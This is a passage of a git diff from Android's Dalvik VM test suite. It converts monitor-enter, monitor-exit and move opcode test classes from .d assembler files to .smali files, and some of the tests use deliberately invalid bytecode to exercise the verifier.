-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 6
-
-       const-wide v4, 1.79
-       monitor-enter v4
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali
new file mode 100644
index 0000000..d4a8386
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_enter/d/T_monitor_enter_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_enter_8.java"
+.class  public Ldot/junit/opcodes/monitor_enter/d/T_monitor_enter_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 6
+
+       const-wide v4, 1.79
+       monitor-enter v4
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.d
deleted file mode 100644
index 1f83d57..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_1.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_1
-.super java/lang/Object
-
-.field public result Z
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const/4 v2, 1
-       iput-boolean v2, v3, dot.junit.opcodes.monitor_exit.d.T_monitor_exit_1.result Z
-
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;)V
-.limit regs 5
-
-       new-instance v2, java/lang/Object
-       invoke-direct {v2}, java/lang/Object/<init>()V
-       monitor-enter v2
-       monitor-exit v3
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali
new file mode 100644
index 0000000..7c2413d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_1.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_1.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_1;
+.super  Ljava/lang/Object;
+
+.field public result:Z
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const/4 v2, 1
+       iput-boolean v2, v3, Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_1;->result:Z
+
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)V
+.registers 5
+
+       new-instance v2, Ljava/lang/Object;
+       invoke-direct {v2}, Ljava/lang/Object;-><init>()V
+       monitor-enter v2
+       monitor-exit v3
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.d
deleted file mode 100644
index 9ef4034..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_3.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-
-       const/4 v1, 0
-Label4:
-       monitor-exit v1
-Label5:
-       return-void
-Label6:
-       move-exception v1
-       monitor-exit v3
-       throw v1
-.catch all from Label4 to Label5 using Label6
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali
new file mode 100644
index 0000000..d2d6550
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_3.smali
@@ -0,0 +1,44 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_3.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+
+       const/4 v1, 0
+:Label4
+       monitor-exit v1
+:Label5
+       return-void
+:Label6
+       move-exception v1
+       monitor-exit v3
+       throw v1
+.catchall {:Label4 .. :Label5} :Label6
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.d
deleted file mode 100644
index 334f385..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_4.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       monitor-exit v4
-
-       return-void       
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali
new file mode 100644
index 0000000..b7708de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_4.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       monitor-exit v4
+
+       return-void       
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.d
deleted file mode 100644
index 9def3d7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_5.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       const v3, 12345
-       monitor-exit v3
-       return-void       
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali
new file mode 100644
index 0000000..fc30697
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_5.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       const v3, 12345
+       monitor-exit v3
+       return-void       
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.d
deleted file mode 100644
index 9635212..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_6.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       const v3, 1.123
-       monitor-exit v3
-       return-void       
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.smali
new file mode 100644
index 0000000..d3f4a64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_6.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_6;
+.super Ljava/lang/Object;
+.source "T_monitor_exit_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    monitor-enter p0
+
+    const p0, 0x3f8fbe77    # 1.123f
+
+    monitor-exit p0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.d
deleted file mode 100644
index c65ae56..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_7.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       const-wide v0, 123456789321
-       monitor-exit v0
-       return-void       
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.smali
new file mode 100644
index 0000000..b7afd08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_7.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_7;
+.super Ljava/lang/Object;
+.source "T_monitor_exit_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    monitor-enter p0
+
+    const-wide v0, 0x1cbe991b49L
+
+    monitor-exit v0
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.d
deleted file mode 100644
index 91be219..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_monitor_exit_8.java
-.class public dot.junit.opcodes.monitor_exit.d.T_monitor_exit_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       monitor-enter v3
-       const-wide v0, 1.79
-       monitor-exit v0
-       return-void       
-
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali
new file mode 100644
index 0000000..dff5a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/monitor_exit/d/T_monitor_exit_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_monitor_exit_8.java"
+.class  public Ldot/junit/opcodes/monitor_exit/d/T_monitor_exit_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       monitor-enter v3
+       const-wide v0, 1.79
+       monitor-exit v0
+       return-void       
+
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.d
deleted file mode 100644
index 1d8e693..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_1.java
-.class public dot.junit.opcodes.move.d.T_move_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 16
-       const v0, 1234
-       const v15, 567989
-
-       move v0, v15
-       
-       const v4, 567989
-
-       if-ne v0, v4, Label0
-       if-ne v15, v4, Label0
-       
-       const v1, 1
-       return v1
-
-Label0:
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali
new file mode 100644
index 0000000..031d73e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_1.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 16
+       const v0, 1234
+       const v15, 567989
+
+       move v0, v15
+       
+       const v4, 567989
+
+       if-ne v0, v4, :Label0
+       if-ne v15, v4, :Label0
+       
+       const v1, 1
+       return v1
+
+:Label0
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.d
deleted file mode 100644
index 4a5dfc7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_2.java
-.class public dot.junit.opcodes.move.d.T_move_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-
-       move v0, v9
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali
new file mode 100644
index 0000000..3b9ce9e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_2.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+
+       move v0, v9
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.d
deleted file mode 100644
index c9d094b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_3.java
-.class public dot.junit.opcodes.move.d.T_move_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 9
-       const v0, 0
-
-       move v15, v0
-
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali
new file mode 100644
index 0000000..ec26b16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_3.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()Z
+.registers 9
+       const v0, 0
+
+       move v15, v0
+
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.d
deleted file mode 100644
index 54adf05..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_4.java
-.class public dot.junit.opcodes.move.d.T_move_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 9
-       move v1, v8
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali
new file mode 100644
index 0000000..f8f1574
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_4.java"
+.class  public Ldot/junit/opcodes/move/d/T_move_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 9
+       move v1, v8
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move/d/T_move_5.d
deleted file mode 100644
index 1ab33b6..0000000
